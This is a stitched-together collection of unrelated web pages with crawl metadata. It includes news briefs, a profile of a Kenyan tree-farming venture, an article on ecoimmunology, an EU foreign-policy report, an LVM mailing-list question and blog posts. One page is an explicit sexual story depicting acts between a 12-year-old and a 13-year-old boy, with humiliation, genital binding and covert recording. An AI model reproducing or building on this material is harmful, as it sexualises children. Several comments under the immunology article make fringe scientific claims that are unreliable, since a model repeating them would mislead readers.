"It’s too cold here at the moment to go to the beach in a bikini.”
The girls were moved to the courthouse in Lima’s port district of Callao yesterday ahead of being formally charged.
They were due to spend the night inside the court’s cells before being transferred to prison today.
The pair are still due to go before a judge where they will plead not guilty.
Earlier Connolly’s lawyer, Peter Madden, said he believed the women had been used as “decoys”.
He said they realised “as soon as they arrived at the airport” that the police were aware they were carrying something in their cases.
Mr Madden said: “When they arrived at the airport – they have told the police this – they knew that the police knew what was going on.
"So they were immediately arrested.
“They were duped. They were held at gunpoint and forced to do this possibly to let a bigger shipment through the airport.
"There is speculation they were used as decoys.”
He confirmed the girls knew they would be carrying drugs in their bags but had been told “with 100% certainty” they would not be caught.
He said he feared both would be jailed “whether guilty or innocent”.
Mr Madden said the pair were not entitled to bail and suggested they could remain in custody for a “long time”.
He said it meant if they were eventually acquitted they could have already served a lengthy sentence.
Despite the grim outlook, he said they were coping “fairly well” in “tough conditions” and were being treated properly.
He stressed they denied reports they already knew each other before the ordeal and that they were seen out shopping and enjoying themselves in Lima before the arrest.
He said: “They’re very concerned about their situation and are emphasising that they were under threat.
“While they weren’t actually under the physical control of the men involved, they were under the control through telephone exchange and also threats that people were watching them and would be watching them.”
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Inspiring stories of people making a difference
San Francisco Man Poised To Expand Decade-Long Effort To Help World's Poorest
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Growing up on the Peninsula, Tevis Howard was something of a science whiz kid, poised to take the biotech world by story. Then he saw something in Kenya that changed his life. (Published Friday, Aug 22, 2014)
It was, without a doubt, the most memorable hamburger Tevis Howard has ever eaten.
"A definable moment? Yes, it was," says Tevis.
This "moment", it should be noted, had much more to do with the setting than the meal. It was a decade ago and Tevis, then in his early 20's, was in the Kenyan seaside resort town of Kilifi, 300 miles southeast of the capital, Nairobi.
What he saw that day launched him on a ten-year-long journey to help some of the poorest people in the world make a better living and help slow an on-going environmental disaster on the east coast of Africa. It's an effort Tevis now wants to expand on a grand scale.
But at the time, he was just enjoying a hamburger and a couple of gin and tonics.
"It was a beautiful Saturday and I was having lunch at the Kilifi boatyard," Tevis recalls.
Tevis had been doing scientific research into malaria in Kenya for the previous few years during breaks from his studies at Brown University. He had grown up as something of a science whiz-kid on the Peninsula and was on a path to take the bio-tech world by storm with a particular interest in brain-computer interfaces.
"That was my path, my passion," Tevis laughs,"bringing Google and Wikipedia into your head."
But his time in Africa, witnessing its poverty first-hand, had begun to change Tevis.
So, during that lunch, when Tevis watched a woman walk by with her three children carrying firewood on their heads, something clicked. "Here I am, enjoying my meal and fifteen feet away are people who have to gather firewood everyday to survive. It's such an economic injustice."
Tevis decided to do something about it, but what? Being the good student he had always been, Tevis began to study poverty and what might be done to fight it.
"I drew up a dozen different business plans, and then rejected 11 of them," Tevis says.
The one that remained? Trees.
Trees, it turns out, are in great demand across Africa and are being cut down at a staggering rate. "In Africa, two California's worth of trees will be cut down over the next two years."
So Tevis started a non-profit, Komaza (Swahili for "to make mature"), that helps small farmers plant trees.
The benefits, Tevis says, are multi-fold. The trees are the perfect crop for the arid-land farmers of east Africa, among the poorest people in the world. The trees, more resistant to drought than other crops, offer the farmers a good, stable source of income.
The trees, in turn, stabilize and enrich the fragile east African soil.
"(Since starting) we've planted over 1.5 million trees with nearly 6,000 farmers," Tevis says.
But even after all his success, Tevis sees a much greater future for Komaza. "We're trying to grow to 20,000 farmers by 2020."
Which is why, for ten days this August, Tevis has been at Santa Clara University participating in the school's Global Social Benefit Institute.
Tevis, working with mentors and, he hopes, gaining more investors, is looking to expand Komaza, no long a non-profit, but now a for-profit "Flexible Benefit Corporation."
The idea is that a profitable company with a good business plan can grow much more quickly and do much more good than one that relies strictly on the generosity of donations.
Now that the some of the first trees Komaza planted years ago are ready to harvest, it's the perfect time, Tevis believes, to jump into the for-profit world.
Tevis' projections have farmers, and Komaza, earning hundreds of millions of dollars over the next few decades. His dream is for Komaza to one day be the largest lumber producer in all of eastern Africa.
"The scale of environmental need, the scale of poverty is massive," says Tevis. "Helping a thousand poor families is great, but helping a million would be a thousand times better." | <urn:uuid:b8b96164-92fe-4ee5-8d60-3c71deb8543a> | http://www.nbcbayarea.com/news/local/San-Francisco-Man-Poised-To-Expand-Decade-Long-Effort-To-Help-Worlds-Poorest-272331991.html | en | 0.971626 | 0.033939 | mlfoundations/dclm-baseline-1.0-parquet |
Date: Sun, 8 Jan 2012 10:38:18 -0800 From: Sam Gamgee Subject: Timmy "So you want to play Dares," Mike said, picking up a slice from Luigi's Sovrapprezzato Pizza. "We've played in groups, but never one-on-one. Are you sure?" Timmy looked at his 13-yo cousin, whose short brown hair, blue eyes, and Harry Potter-style round glasses had a slightly owlish air. Everybody said Mike was very smart, but Timmy thought him arrogant and overrated. A year and a week of age difference had left him quite underwhelmed. "Yeah, why not. You get naked." "Effective if unimaginative," Mike said as he set down his slice. He stood up, pulled off his light grey t-shirt, unsnapped, unzipped and dropped his khaki shorts. No underwear, as Timmy already knew; Mike's nerdiness was largely a pose. Mike was about 5'6", biggish build, with a reasonable crotch equipment and enough hair for his age. He was hard, of course. Hereinafter it may be assumed that they are hard unless otherwise specified (these are 12-or-so-yo boys, after all.) He sat down, ate two bites of pizza, took a sip of Coke, then said, "You will do the same, then you will stand on your left foot, and reach over your head with your right hand and grasp the top of your left ear, until further orders." Shaking his head a little in puzzlement, Timmy did as instructed. The view was of a wonderfully pretty boy about 5'2", with a slim but not skinny build and some nice new hair on his groin, obviously on the cusp of great things. He said, "So?" Mike nodded. "The 'reach over the top and grasp the ear' is an informal test of reading readiness used in kindergartens. You can learn to read, appearances to the contrary notwithstanding. Now sit down and finish your dinner while you contemplate your next masterful move." "You will finish that can of Coke," Timmy said in a flat tone of authority, "and you will refill the can with water. You will drink a can of water every five minutes until I give you permission to stop. You will not piss until I give you permission to piss. You will beg for that permission. Further instructions will follow." "Well," said Mike, "the little gerbil has teeth." He drained his coke can and filled it with water. Almost an hour passed before Mike's seemingly bottomless bladder failed him. He obtained permission to piss by begging on his knees, then kissing first Timmy's left big toe and then the tip of his dick. Timmy provided a green plastic bucket for the pissing, into which Mike was first required to put what Timmy called "your Harry fucking Potter glasses", which Mike was obliged to piss on. Timmy had a question: "You know 'The Sound of Music' don't you? The lyrics to 'I feel pretty'?" Mike nodded in the affirmative. Accordingly, he was obliged to pluck his glasses from the bucket of piss, to which Timmy had generously contributed, put them on, still dripping, empty the bucket over his head (the festivities had been moved outdoors) place the bucket upside down on top of his head ("like a crown"), and dance, while singing "I feel pretty." As a last-minute act of mercy, the performance was limited to the first verse. Mike was then permitted to shower, though not to don clothing. Since it was now his turn, Mike retrieved his black leather backpack and drew from it a purple bootlace. He handed it to Timmy, saying, "Your favorite color, I believe. You will tie this on, three good, tight loops and a pretty bow. You know how to do this; I've heard plenty of stories about you. I, however, will not touch you. You will do this to yourself. You will play with yourself, until you get frantically aroused. As you know, it is all but impossible to ejaculate with one of these things on. You will beg for permission to remove it. Until you surrender, that permission will be denied for longer than you can believe. Do it now." It went on for a time nobody counted on a clock. With the purple bootlace firmly bound around the base of his genitals, Timmy played with himself, growing quickly so aroused that it was ecstatically pleasurable and brutally painful. He begged, often and ever more loudly, to be allowed to release himself without surrendering, to which Mike's only answer was silence. Mike mused on why Timmy was allowing this to happen to himself. His theory was that it was a matter of vanity or, more pretentiously expressed, honor. Timmy had accepted the dare, knowing what would happen. If he backed out now, Mike could tell all their friends, "Timmy failed on a dare." No one would ask what the dare was. Since Timmy had failed, his failure was all that mattered. Finally, Timmy surrendered. He and Mike walked out to the front porch, where, with the porch light on and the security camera capturing every detail, Timmy underwent a final humiliation and then was permitted to untie the purple bootlace. His relief was fervent and very noisy, and captured on the audio recorder in the backpack Mike had casually brought along. Timmy had not noticed that detail, since his attention was elsewhere, as it had been from the beginning while the recorder had been running. Back indoors, Mike made rather of a production of opening his 54+1 steps Japanese puzzle box and putting the security camera memory stick inside, before securely closing it. "Now let's get dressed, while you scheme your next historic victory," Mike said, handing Timmy a pair of shiny purple gym shorts, then putting on a pair of boring blue ones himself. They were both commando. Timmy's initial reaction to the color of his shorts was a moue of distaste, but he forgot that and was soon hard again. ============================================================= "That's a legal dare!" Timmy rasped in an angry whisper. In the near-darkness of the garage, the slim 12-yo blond seemed an odd portrait of indignation, dressed as he was only in shiny purple gym shorts. Several hours of dares had left us both dressing minimally. My gym shorts were boring blue. We were both commando, and rock-hard. We were in SoCal, it was September, the Santa Anna was blowing, and it was hotter than Hell. I'm Mike, btw, a year and a week older than Timmy, the son of my mother's younger sister. Despite being cousins, we are generally friends. "Legal, maybe," I said softly, "but disproportionate and unreasonable. My last dare had you kneeling on your front porch licking my balls with your right middle finger up your ass. The porchlight was on, of course, but since nobody can see the porch from the street or anywhere else except the front of the garage, your chances of being seen were nil. This ridiculous obscenity..." "You don't have to take your shorts off until the end of the driveway, and then it's only a hundred yards or so to the corner," Timmy offered in what he considered a reasonable tone. "There's only one streetlight, and it's on the other side of the street. You know there's no traffic around here after dark unless somebody is having a party, and you've seen that nobody is. You just walk down to the end of the block, turn around, and walk back. I'll walk beside you to make sure you don't cheat or stop being hard." A little more sharply, he added, "You also forgot to mention that your last dare had me in front of the porch security camera, whose memory stick is now with your mescaline and your lock picks in that Japanese puzzle box you carry in your backpack. And don't give me that shit about how you're going to put the stick in my stocking come Christmas. The dare is legal and it stands." "And what if I say, 'Fuck you, your favorite little game, and the horse you rode here on?' Are you going to tell everybody what we've been doing since dinner? That memory stick would be very popular. You're like the rabbi who went golfing on Saturday afternoon and hit a hole in one. Who could he tell?" I crossed my arms on my chest. Given how little I was wearing, and my Harry Potter-style round glasses, the effect must have been a bit comic, but Timmy seemed to miss that. "Well..." Timmy paused in thought. He was very fond of Dares, as was I, and quite good at it, though not IM-not-terribly-HO as good as I. His dares were imaginative, often very funny, and commonly wildly obscene. What he lacked was subtlety in the negotiating side of the game. He failed on this occasion to appreciate that I was bluffing. He was quite correct about the risks of the dare, which were small. I was objecting because I envied the cleverness of his dare, and wanted to rattle his cage, and perhaps deprive it of some of its eclat. As I soon found that I had. "Well, let's make a deal. You walk down the block with your shorts off, then put them back on. I'll take mine off then, and we'll walk back that way. OK?" "Fair enough," I conceded with well-feigned relief. "Let's do it." We put on our birkies and he led the way down the driveway. There, I took off my shorts, which he insisted on carrying so that I couldn't use them as a shield, and walked briskly but without undue hurry down the street, my hard dick bouncing merrily along. Not a stranger to such sport, I found, as I always had, two little problems. The first is that walking naked for more than a few steps is awkward because there is nowhere to put your hands and nothing to do with them. As a lifelong hands-in-pockets guy, I find this annoying. The second is that walking naked with a hard-on imposes an unnatural gait, with that stuff flapping in an unaccustomed manner and bouncing off one's thighs. Still, there was no traffic (there are never pedestrians in leafy SoCal burbs), few lighted windows, and no evidence that anyone saw us or, if they did, gave even the slightest shit. As you can imagine, there were enough weird goings-on in and around Timmy's house that the neighbors would probably have ignored a UFO landing in the middle of the street and disgorging the 82nd Airborne which then performed "Jesus Christ Superstar" accompanied by a bagpipe band. We reached the corner. He handed me my shorts, which I put on. He took off his shorts, which he handed to me. We turned around and walked back. I derived much pleasure from staring unabashedly at his flapping goodies, splendidly hard dick and nicely bouncing balls. No reason not to oggle, since this was the point of the game. He seemed to share my findings about the awkwardnesses of this exercise, and I gathered that he had less experience than I in coping with them. Age will tell in some things. Returned safely to the driveway, and Timmy to his shorts, we made no mention of further dares, and went inside in search of beer, not without gratifying results. | <urn:uuid:c7147b21-e178-4532-add6-b19015100caa> | http://www.nifty.org/nifty/gay/young-friends/timmy | en | 0.987893 | 0.107135 | mlfoundations/dclm-baseline-1.0-parquet |
The antiwar, antioil link
The earnest war protestor brandished his sign in front of television cameras: "No Blood for Oil." Did he look familiar? Wasn't he among activists protesting oil and gas leasing of the Arctic National Wildlife Refuge coastal plain? Didn't he also resist drilling on leases in Wyoming and anything having to do with oil in California?Maybe not. Activists all look alike after a while. But it might have been the same guy. Opponents of the war in Iraq tend also to oppose oil and gas leasing of federal land. And they eagerly load up their arguments by insisting the war was fought for oil."Control over oil is a central motivation for the Bush administration's military confrontation wit...
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Video verification in the news
I was going through my inbox the other day and I came across an email from RSI president Keith Jentoft. I've written beforeabout Keith's always-on-task, tireless promotion of video verification. He forwarded on a link to me of the security industry being spotlighted in a local news broadcast.
It's nice to see the security industry get some positive coverage in the mainstream media. I've also written before about the black eye the industry often receivessince news only seems to cover security when there's a loss.
Anyway, the spot paints the industry in a positive, helpful light. It gives plenty of facetime to Videofied's MotionViewer (though, MotionViewer Man is conspicuously missing...) and I don't think they could have squeezed one more shot of the Acadian logo in there.
Nice work guys! | <urn:uuid:547fec72-f284-493e-bcc8-fc1b17ea1f76> | http://www.securitysystemsnews.com/blog/video-verification-news | en | 0.964372 | 0.172542 | mlfoundations/dclm-baseline-1.0-parquet |
Variety, the spice of immunology
Can ecologists help immunologists understand how immune responses vary in the wild?
By | January 13, 2011
In humans and wild animal populations, immune responses can vary greatly between individuals, species, and environments -- yet, the vast majority of immunological studies are conducted on well-fed, parasite-free, genetically similar lab mice. Recently, however, ecologists and immunologists have begun to join forces to study the long-suspected variability of immune systems in wild populations. "Lab mice live in really happy conditions" compared to animals in the wild, said linkurl:Tom Little,; an evolutionary biologist at the University of Edinburgh in the UK, but "we can't just study things under really happy conditions [because] it's just not what's normal...What if everything we know about the immune system only really happened in the lab?"
Image: Wikimedia commons, Aaron Logan
Indeed, a recent comparison of the immune functions of wild and lab mice revealed that wild mice generally had stronger immune responses than their laboratory counterparts. "There's got to be at least 100,000 papers that looked at the immune system of mice in the lab, but no more than five papers that looked at it in wild mice," said the study's lead author linkurl:Mark Viney,; a parasitologist at Bristol University in the UK. These differences may have a direct impact on how immunologists interpret the findings of their laboratory studies, he added. The study of ecoimmunology, as it's called, started in the 1990s when ecologists began to take an interest in understanding this variation in immune responses in the wild, and how it influences or is influenced by community structure. Without a good toolbox of immunological techniques, however, early experiments were rudimentary, leading researchers to question their biological relevance. But more recently, immunologists have joined in, bringing their own perspective to the field, along with more advanced methods for the study of immunology in wild animals. Indeed, the collaboration has already produced at least one successful field study of immunity. Working with a group of evolutionary biologists at the University of Edinburgh, immunologist linkurl:Andrea Graham; of Princeton University found that wild soay sheep on the Scottish island of Hirta were more likely to survive the harsh, parasite-infested winters if they had high levels of a certain kind of antibody, known as antinuclear antibodies (ANAs). However, these sheep also reproduced less frequently, suggesting a strong immune system may come at a cost.
Image: Wikimedia commons, Eirian Evans
The correlation only occurred during especially harsh winters, however, when up to 50 percent of the population dies, suggesting that immune variability may evolve more readily in fluctuating environments. The study also challenged the theory that autoimmunity only exists in lab and domesticated animals and some human populations, as the sheep expressed levels of ANAs associated with autoimmune disorders in other species. Studying the variance of immune systems in human populations may also be enlightening, Viney said, informing research on vaccine development, for example. "Humans in developing and developed countries are mirrors of wild animals and lab animals when it comes to their relative susceptibility to disease and parasites," he said. Because immune systems function differently under the stress of disease and malnutrition, vaccines could be more effective if targeted for different populations of people. The newfound teamwork may also benefit the immunologists, Viney added. "Mainstream immunology needs to think in an evolutionary fashion," he added. "Sometimes you have to stand back, and think of the broad picture" -- something ecologists do very well. Ecologists might help immunologists understand the microflora of the human digestive tract, for example, said linkurl:Judith Allen,; a professor of immunology at the University of Edinburgh. "Ecologists understand communities, and these gut bacteria are communities within our bodies," she said. Personalized medicine may be another area ripe for collaboration, added linkurl:Brian Lazzaro,; an evolutionary geneticist at Cornell University. "The ability to [tailor treatments to individual patients] will obviously hinge on understanding how individuals vary immunologically and in their interactions with specific pathogens and reactions to various treatments," he said. Though ecoimmunology may be young, it seems to be drawing more and more attention. Last year, the National Science Foundation funded a collaborative network of ecologists, evolutionary biologists, and immunologists aiming to develop new techniques and immunological research questions specific to animals in the wild. And next month, Functional Ecology plans to publish a special issue devoted entirely to ecoimmunology in hopes of attracting more researchers to the field. Not everyone is convinced, however. "I'm not sure I would agree that ecoimmunology actually constitutes a field," said Lazzaro. "I think the origins are more in traditional evolutionary biology where there has been longstanding interest in selection imposed on hosts by pathogens and parasites [and] how activation of the immune system may limit other traits," like reproduction. But with the newly developed "technological ability to apply the tools of traditional immunology in natural systems," he added, the field may really start to take shape. A. Graham et al., "Fitness Correlates of Heritable Variation in Antibody Responsiveness in a Wild Mammal," Science, 330:662-65, 2010. S.R. Abolins et al., "Measures of immune function of wild mice, Mus musculus," Molecular Ecology, AOP, doi: 10.1111/j.1365-294X.2010.04910.x, 2010.
**__Related stories:__***linkurl:Strong immunity=low fertility;
[28th October 2010]*linkurl:New medicine means research rethink;
[3rd June 2009]*linkurl:Following the flock;
[23rd April 2009]
Avatar of: Mike Waldrep
Mike Waldrep
Posts: 155
January 13, 2011
Avatar of: anonymous poster
anonymous poster
Posts: 3
January 13, 2011
I have always heard that children reared in a protective atmosphere where they have little interaction with others as much as possible, seem to have more illness than those who interact freely with others. Surely, that is an example of ecoimmunology suggesting that the more one is exposed to the environment, the more "robust" the immune response.
Avatar of: Alexandru Cosciug
Alexandru Cosciug
Posts: 16
January 14, 2011
I am not biologist, but I know that the THYMUS is a specialized organ of the immune system. One known function of the thymus is the production of T cells, which are critical cells of the adaptive immune system. In medicine it is used some kind of chimio-radiation (alfa, I suppose) to produce T cells.\nI come with a new hypothesis about wireless communication between mitochondria and thymus, especially with Adam mtDNA, located in xiphoid process, in front of thymus.\nThe environment adaptation is a function working with feedback assured trough the wireless mitochondria communication.\nWhen the men or the animals are living in the protected environment offered by the modern civilisation, the mitochondria works slowly, while in wild space it is more active.\nWhen Adam mtDNA and Eve mtDNA are working for immunology system, then they decrease the reproductive system.\n
Avatar of: Giuseppe Damiani
Giuseppe Damiani
Posts: 3
January 17, 2011
The response to stressing conditions produces a physiological adaptation by means of an immune response against endogenous regulative peptides which are the main autoantigens involved in the progression of autoimmune diseases.The same process allows the maternal selection of embryos adapted to the changing environment. The result of this selective mechanism is that, in stressing conditions, the maternal physiological adaptation might be transformed into Lamarckian adaptive changes of the newborns. Moreover, in stable conditions, this mechanism allows the selection of individuals with MHC types which are different from the maternal types. These newborns are not the best adapted for their environment (exactly the opposite of Darwin hypothesis) but might be useful for the population adaptation to future environmental changes. Therefore, behavioural sexual selection and the fetal-maternal incompatibility counteracts the negative aspects of Darwinian natural selection (decrease of biodiversity) and maintains the ?metabolic biodiversity? of wild animal populations.\n\n
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Mirus Bio
Mirus Bio | <urn:uuid:aaca4605-784d-451f-b80a-3e655b717b2f> | http://www.the-scientist.com/?articles.view/articleNo/29465/title/Variety--the-spice-of-immunology/ | en | 0.937725 | 0.022004 | mlfoundations/dclm-baseline-1.0-parquet |
The automated C&C dust collect and convey system captures nuisance dust from silo filling operations and automatically sends it back to the source silo. Each unit mates an efficient pulse jet dust collector with a dense phase pneumatic conveyor and has onboard controls for automatic operation with no need to empty dust from the hopper. Cyclonaire Corp. 800-445-0730.
WOC Booth #N344 | <urn:uuid:c4071d60-e64d-405a-b55f-4357a91f3227> | http://www.theconcreteproducer.com/vacuums-and-dust-collection/capture-nuisance-dust.aspx?dfpzone=products | en | 0.768774 | 0.286918 | mlfoundations/dclm-baseline-1.0-parquet |
Discovery Channel's brand new series, “Life”, that highlights the extraordinary strategies animals and plants adopt to stay alive as individuals and species will go on the air on May 24.
Wildlife expert Sir David Attenborough will present the 10-part series. Some of the stunning images will be shown for the first time ever on television. They include Komodo dragons bringing down an animal ten times their size in a real-life drama, a pebble toad rolling down a mountain bouncing like a rubber ball to escape a tarantula, and an astonishing night scene showing Humboldt squids hunting in a group for sardines.
“Life” has been filmed in every continent and natural habitat. In Kenya, three cheetah brothers have invented a novel way of hunting. Rather than tackling small prey on their own, they have learnt that by joining forces they can bring down big game such as ostriches.
Describing the series as an epic, Rahul Johri of Discovery says “Life” reiterates the channel's commitment to bring to viewers high-quality non-fiction content that entertains and enhances their general knowledge about the wonders and diversity of our planet. “Our latest series brings to life some of the most incredible stories ever caught on camera and highlights the efforts of men and women who spent days, weeks and months patiently waiting for a perfect shot. The series' unique selling point is that naturalist Sir David Attenborough has given his voice to the programme. All images have been captured in state-of-the-art high-definition filming techniques.”
Pointing out that our planet is home to over 30 million divergent animal and plant species, Mr. Johri says each is locked in a unique fight for survival. To show the rich plant and animal life, 30 production teams visited 52 countries and undertook over 150 filming trips, adds Mr. Johri.
Film-makers develop ingenious methods for capturing breathtaking images. A “Yogi Cam” developed specifically for this series allowed a camera to track smoothly alongside migrating reindeer and elephants. Intricate cable rigging was employed to enable the crew to fly a camera through thousands of monarch butterflies in Mexico, providing a unique butterfly-eye perspective.
From strange creatures such as the star-nosed mole that hunts underwater using bubbles to smell its prey, to epic spectacles, including millions of fruit bats darkening the Zambian sky, each episode will tell mind-blowing stories of survival with drama, humour and suspense.
The premiere episode “Challenges of Life” provides an overview and sets the stage for this epic series. The other nine episodes include “Reptiles and Amphibians”, “Mammals”, “Fish”, “Birds”, “Insects”, “Hunters and Hunted”, “Creatures of the Deep”, “Plants” and “Primates”. The series will be aired on the channel every night up to June 6.
Keywords: Underwater life
More In: Delhi | <urn:uuid:a9ab283d-426d-4301-bccf-57422647672c> | http://www.thehindu.com/news/cities/Delhi/mindblowing-stories-of-survival/article429644.ece | en | 0.921448 | 0.174986 | mlfoundations/dclm-baseline-1.0-parquet |
A 60-year-old Haifa man attempted suicide by means of autodefenestration from the third floor of a local police station on Saturday.
The jumper was seriously injured and rushed by a Magen David Adom crew to Rambam Hospital in the coastal Israeli city.
He had been arrested and was being questioned on suspicion of beating his wife, and an investigation into those allegations is underway. | <urn:uuid:933cd8e7-8dd9-41de-a680-76893124ee1d> | http://www.timesofisrael.com/haifa-man-jumps-out-of-police-station-window/ | en | 0.991528 | 0.04176 | mlfoundations/dclm-baseline-1.0-parquet |
Skip to definition.
Noun: expected value
1. (statistics) the sum of the values of a random variable divided by the number of values
- arithmetic mean, first moment, expectation
Derived forms: expected values
Type of: mean, mean value
Encyclopedia: Expected value | <urn:uuid:d936a80f-ab07-47ec-90ba-90b0356cebef> | http://www.wordwebonline.com/en/EXPECTEDVALUE | en | 0.744286 | 0.989528 | mlfoundations/dclm-baseline-1.0-parquet |
Foreign Policy Puts Europe on Defensive
When Europe's foreign ministers filed out of a 12-hour meeting on Syria at close to midnight Monday, there was no hiding the deep divisions within the bloc over arming the Syrian opposition.
The U.K. and France's insistence—despite opposition from a majority of the European Union's 27 member states—that they wouldn't renew the Syrian embargo without an amendment to allow weapons shipments to rebels meant the EU's sanctions package against the regime of President Bashar al-Assad had to be dismantled.
On Friday, EU states are set to legally reinstate most of the economic, financial and energy sanctions against the Assad regime, but the arms ban won't be among them. Instead, each country will have its own Syrian arms policy, albeit set within agreed conditions establishing which arms can be sent.
Monday's disagreement over the No. 1 global hot spot was a fresh reminder that for all Brussels's pretensions, Europe is far from developing a common foreign policy. Its divisions, combined with its continued economic woes, which have pressured defense budgets across the Continent, lead some to suggest Europe is becoming a marginal actor on the world stage.
"I think in the context of the debt crisis, you've seen countries moving forward with fiscal adjustments and that's impacted their ability on a whole number of fronts," said Mujtaba Rahman, head of Eurasia Group's Europe practice. "And the defense front has been one of, if not the most, impacted areas."
Yet the euro crisis has had a deeper impact on Europe's power projection by denting the European "brand." Diplomats in Brussels tell of traveling to Beijing, Moscow and even Washington to discuss foreign policy and being told Europe should be focused on getting its economic house in order.
Forces loyal to Syria\'s President Bashar al-Assad walk on the rubble of damaged buildings and shops in the old city of Aleppo in January. ENLARGE
Deep divisions in strategic culture also hamper the EU. Germany, one of the few countries whose economy hasn't been unsettled by the crisis, remains deeply reluctant to deploy military force. In 2011, it split the EU over its staunch opposition to military action in Libya.
Mali also revealed that decision-making remains far too slow for rapid diplomatic and military responses to crises. While the EU had long planned a training mission for Mali's army—it is now in place—and other efforts to improve security in the Sahel, it was unilateral action by France, backed up mainly by U.S. and U.K. military hardware, that helped stem the southward advance of Islamist militants.
"I think the Syrian-crisis response is only one example of European Union foreign policy going down the drain," said Marc Pierini, a visiting scholar at the Carnegie Endowment for International Peace and a former EU ambassador to Syria, Turkey and Libya.
Mr. Pierini blames EU treaty law for giving the U.K., France and Germany the power to stifle a common foreign policy and says the separation of aid and humanitarian assistance from the EU's diplomatic decision-making has undermined some of the soft power it can otherwise project. "We are basically self-paralyzed."
Daniel Levy, director of the Middle East and North Africa program at the European Council on Foreign Relations, said the EU's foreign policy flaws result in rows like Monday's, where instead of Europe trying to "take some kind of ownership" of the Geneva peace initiative, ministers spend hours arguing over possible future U.K. and French arms shipments that are likely to make little difference in the Syria conflict.
"It was Europe tying itself in knots over what shouldn't have been the main agenda item and then predictably being made to look a bit stupid by the Russian response," he said, referring to Moscow's renewed pledge to proceed with sales of advanced weapons to the Assad regime.
However, Brussels has cards to play to maintain a global role.
The EU holds the world's biggest official-aid budget. On Tuesday, it agreed on an aid program for 2014 to 2020 that will keep aid at the same level as the previous seven-year program, despite the recession.
To its south, officials say, Europe has leveraged its domestic buying power, trade policy and aid to offer help to post-Arab Spring countries like Tunisia, Jordan and Egypt. To its east, the prospect of joining the EU club has eased tensions across the Balkans. Croatia joins the bloc in July. Serbia and Kosovo, enticed by hopes of future membership, recently signed an EU-brokered accord that should see an improvement in ties.
The EU's still-evolving foreign service has also forged close links with African and Asian political and trading blocs and plays a growing role in coordinating often-competitive member-state relations with Russia, Brazil and China.
The EU has also coordinated a growing number of military operations in recent years. Alongside the training mission in Mali and significant EU contributions to United Nations missions, Brussels deploys a training and antipiracy mission in and around Somalia, a monitoring mission in Georgia and police operations in Kosovo, the Democratic Republic of Congo and Afghanistan.
With Tehran, the EU has presided over six-power talks on Iran's nuclear activities. The bloc's surprise adoption of sweeping financial and energy sanctions in 2012 became the centerpiece of international pressure to bring Tehran to the negotiating table.
Officials argue therefore that while Monday was a blow and a reversion to national foreign policies, writing off Europe's foreign-policy influence is premature. It is equivalent, they say, to the predictions in 2011 and 2012 that the euro was about to collapse.
Write to Laurence Norman at
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[linux-lvm] Suggestion for LVM
first I want to say I like your project and thank everyone, who is involved in this project, you made good work.
But I have one problem with the LVM, I post it hear for some days ("LVM-Snapshot + dm_crypt"), the problem was that I can't made a snapshot of a dm-crypted LVM, then it creates the snapshot, but nothing works. And if I encrypt it on the device /dev/mapper/mp3 then I can't use the Snapshot function because lvcreate can't locate the volume group /dev/mapper, what logical.
Now my suggestion for a new LVM version is, couldn'tyou made it possible that lvcreate get an alternative path for the snapshot volume, now a example how i thought it could work.
pvcreate /dev/md0 //creating a physical volume
vgcreate /dev/data //create a volumegroup
lvcreate -L 8G -nmp3-crypt /dev/data //creating a volume group, everything on this will be crypted
cryptsetup create mp3 /dev/data/mp3-crypt //creating a encrpted device, I use cryptsetup because I don't know how dm_setup works :D
mkfs.xfs -f /dev/mapper/mp3
mount /dev/mapper/mp3 /mnt/mp3
cp -r * /mnt/mp3
if I now make a
lvcreate -s -nsnap /dev/mapper/mp3
then I get a error Message (volume group mapper doesn't exit)
now my idea was that I give lvcreate on which vg the snapscho schould create for example
lvcreate -s -nsnap /dev/mapper/mp3 --snap-vg /dev/data/mp3-snap
is this possible to patch or is there a good reason why this doesn't work, I try to make it my self but my programming skills are not good enough to do this. Could some please made it, or is this senseless.
I hope you understand my problem.
Torben Viets
| <urn:uuid:1e631c5c-f07a-4e61-9e62-3215c7da1185> | https://www.redhat.com/archives/linux-lvm/2005-February/msg00060.html | en | 0.864053 | 0.119721 | mlfoundations/dclm-baseline-1.0-parquet |
Security at W&M
The primary goal of the College's Information Security program is to protect the information assets supporting the College's primary business functions. The program is aligned with the ISO/IEC Information Security Standard (ISO 27002:2005) and has the following objectives:
1. Identify, assess, and treat information security risks.
2. Develop and communicate information security policies, standards, and guidelines.
3. Promote an effective information security awareness and training program commensurate with the needs of the College.
4. Secure the College's information assets including hardware, software, data, and infrastructure.
5. Provide identity management services for the College's information systems.
6. Maintain an IT disaster recovery plan that meets the recovery time objectives set forth in the College COOPs.
7. Manage and respond effectively to information security incidents.
8. Support College compliance efforts related to IT and Information Security.
Information Security is Everyone's Responsibility! | <urn:uuid:9500fcb8-ed41-4d63-8386-dea2485dc3e8> | https://www.wm.edu/offices/it/security/index.php | en | 0.879382 | 0.751012 | mlfoundations/dclm-baseline-1.0-parquet |
Will >> Will's blog
Thu, 13 Mar 2008
Sold my guitar
Sold the first guitar I ever bought today. I'm a little bummed about it because of the sentimental value it had, but I have to get rid of things to balance out getting new things. I'm trying to use mark and sweep garbage collection on my stuff. The unfortunate part is that I'm a very very slow CPU and it takes ages to do a single pass.
Tue, 17 Apr 2007
Register allocation... DONE!
My compilers class is using the Appel book Modern Compiler Implementation in ML. Chapters 1 through 12 have a programming exercise that walks you through building a compiler in ML for a language called Tiger targetting the MIPS processor. It's pretty neat--Tiger has some funky things in it that make some of the pieces non-trivial.
After a week of programming straight (i.e. I get up in the morning, eat something, put on sweat pants, work on the compiler... go to bed) we got register allocation working using graph coloring. It does spills and coalescing but not coalescing of spills--that'd be really cool.
I'm really psyched! I think all we have left is some minor bits here and there and then it's done and we'll have a compiler for Tiger. I'm tossing around adding a random number generator to the runtime.c file so that I can implement a Dwarven name generator using Markov chains.
A friend of mine gave me his new album Digital Analog Heart and Soul a couple of weeks ago. I had it ripped on my hard drive and so that's what I listened to for the last 7 days of register allocator programming. The song The Fall is pretty cool--he's done it in concerts a lot.
Now I need to get back to my research project....
Thu, 03 Jun 2004
CD Baby
I bought a couple of CDs at cdbaby.com and this was in the confirmation email they sent back:
Your CDs have been gently taken from our CD Baby shelves with
sterilized contamination-free gloves and placed onto a satin pillow.
sure they were in the best possible condition before mailing.
money can buy.
We all had a wonderful celebration afterwards and the whole party
Portland waved 'Bon Voyage!' to your package, on its way to you, in
our private CD Baby jet on this day, Wednesday, June 2nd.
Your picture is on our wall as "Customer of the Year". We're all
That's so cool--I wish more places were like this. My experience with them so far has been truly wonderful.
Thu, 08 Apr 2004
Oh yeah
